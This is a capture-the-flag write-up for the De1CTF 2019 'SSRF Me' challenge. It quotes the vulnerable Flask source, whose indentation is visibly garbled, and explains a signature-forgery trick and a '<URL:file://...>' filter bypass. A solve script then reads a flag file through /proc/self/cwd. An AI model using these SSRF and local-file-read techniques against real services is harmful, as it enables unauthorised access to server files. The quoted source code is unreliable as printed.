/ CTF

De1CTF - SSRF Me Writeup (2019)

UPDATE: This writeup was hidden since 2019 due to the solution used. It was only recently where I released a CTF challenge using the same solution. Since it was solved, I decided that this writeup should resurface.

Given the source file:

#! /usr/bin/env python 
#encoding=utf-8 
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 

reload(sys) 
sys.setdefaultencoding('latin1') 
app = Flask(__name__) 
secert_key = os.urandom(16) 

class Task: 
	def __init__(self, action, param, sign, ip): 
		self.action = action 
		self.param = param 
		self.sign = sign 
		self.sandbox = md5(ip) 
		if(not os.path.exists(self.sandbox)): 
		#SandBox For Remote_Addr 
			os.mkdir(self.sandbox) 
	def Exec(self): 
		result = {} 
		result['code'] = 500 
			if (self.checkSign()): 
				if "scan" in self.action: 
					tmpfile = open("./%s/result.txt" % self.sandbox, 'w') 
					resp = scan(self.param) 
				if (resp == "Connection Timeout"): 
					result['data'] = resp 
				else: 
					print resp 
					tmpfile.write(resp) 
					tmpfile.close() 
					result['code'] = 200 
				if "read" in self.action: 
						f = open("./%s/result.txt" % self.sandbox, 'r') 
						result['code'] = 200 
						result['data'] = f.read() 
					if result['code'] == 500: 
						result['data'] = "Action Error"
				else: 
					result['code'] = 500 
					result['msg'] = "Sign Error" 
					return result 
	def checkSign(self): 
		if (getSign(self.action, self.param) == self.sign): 
			return True 
		else: 
			return False #generate Sign For Action Scan. 

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
	param = urllib.unquote(request.args.get("param", "")) 
	action = "scan" 
	return getSign(action, param) 

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
	action = urllib.unquote(request.cookies.get("action")) 
	param = urllib.unquote(request.args.get("param", "")) 
	sign = urllib.unquote(request.cookies.get("sign")) 
	ip = request.remote_addr 
	if(waf(param)): 
		return "No Hacker!!!!" 
	task = Task(action, param, sign, ip) 
	return json.dumps(task.Exec()) 

@app.route('/') 
def index(): 
	return open("code.txt","r").read() 

def scan(param): 
	socket.setdefaulttimeout(1) 
	try: 
		return urllib.urlopen(param).read()[:50] 
	except: 
		return "Connection Timeout" 

def getSign(action, param): 
	return hashlib.md5(secert_key + param + action).hexdigest() 

def md5(content): 
	return hashlib.md5(content).hexdigest() 

def waf(param): 
	check=param.strip().lower() 
	if check.startswith("gopher") or check.startswith("file"): 
		return True 
	else: 
		return False 

if __name__ == '__main__': 
	app.debug = False app.run(host='0.0.0.0',port=80)

To cut things short on how this "application" works, you will first provide a URL to /getSign to get contents of that URL, and using that signature, use it at the /De1ta to read the contents. Easy right? But there are some hurdles to overcome.

We will need to find a way to bypass the checks for read file signature and also the waf() function.

Our goal is to leak the ./flag.txt file. There are many ways to do this, while I did it the "longer" way, there is a shorter way to leak it once the waf() function is bypassed.

At the /geneSign route, we see that it takes in a URL with GET variables and processes it at the getSign() function. This will generate a signature, it will be validated when using the /De1ta route.

However, we only can generate actions which are scan. We will not be able to generate a read action. But examining the Exec() function closely, it is apparent that the if/else statements checks if the keywords are IN the URL given.

So given the following URL:
http://139.180.128.86/geneSign?param=http://google.comreadand

The signature will be constructed as such by getSign():
return hashlib.md5(secert_key + param + action).hexdigest().
SECRET_KEY + "http://google.comreadand" + "scan" = "SECRET_KEYhttp://google.comreadandscan"
So the signature will be generated with inputs we control which can be used at /De1ta to trigger actions of both read and scan.

This will then give us a valid signature, and it can be used to trigger read and scan because in the subsequent action, the action payload sent will contain both read and scan keywords which will trigger the if else statements!

Next, we have to bypass the if check.startswith("gopher") or check.startswith("file"): check. Well, it is pretty simple. Just use flag.txt and thats it! But... I kind of overthink? I went on to look at how urllib actually parses URLs...

In urllib, there is a function called unwrap which is called by the urllib parser. https://kite.com/python/docs/urllib.unwrap

Essentially, <URL:scheme://host/path> will be converted into scheme://host/path. With this, we can bypass the "starts with" mechanism used by the waf() function. (Note: This works with urllib2 as well)

And here is the solve script!

import requests

payload = "<URL:file:///proc/self/cwd/flag.txt>readand"
payload_two = "<URL:file:///proc/self/cwd/flag.txt>"
a = requests.get("http://139.180.128.86/geneSign?param="+payload)
print a.text

cookies = {'action': 'readandscan',
			'sign':a.text}
r = requests.post('http://139.180.128.86/De1ta?param='+payload_two, cookies=cookies)

print r.text
45c6325c3166748e875137554ad72d6e
{"code": 200, "data": "de1ctf{27782fcffbb7d00309a93bc49b74ca26}"}

Credits to https://lord.idiot.sg/ for the late night discussion on the challenge! Check out his site for awesome write ups too!

De1CTF - SSRF Me Writeup (2019)
Share this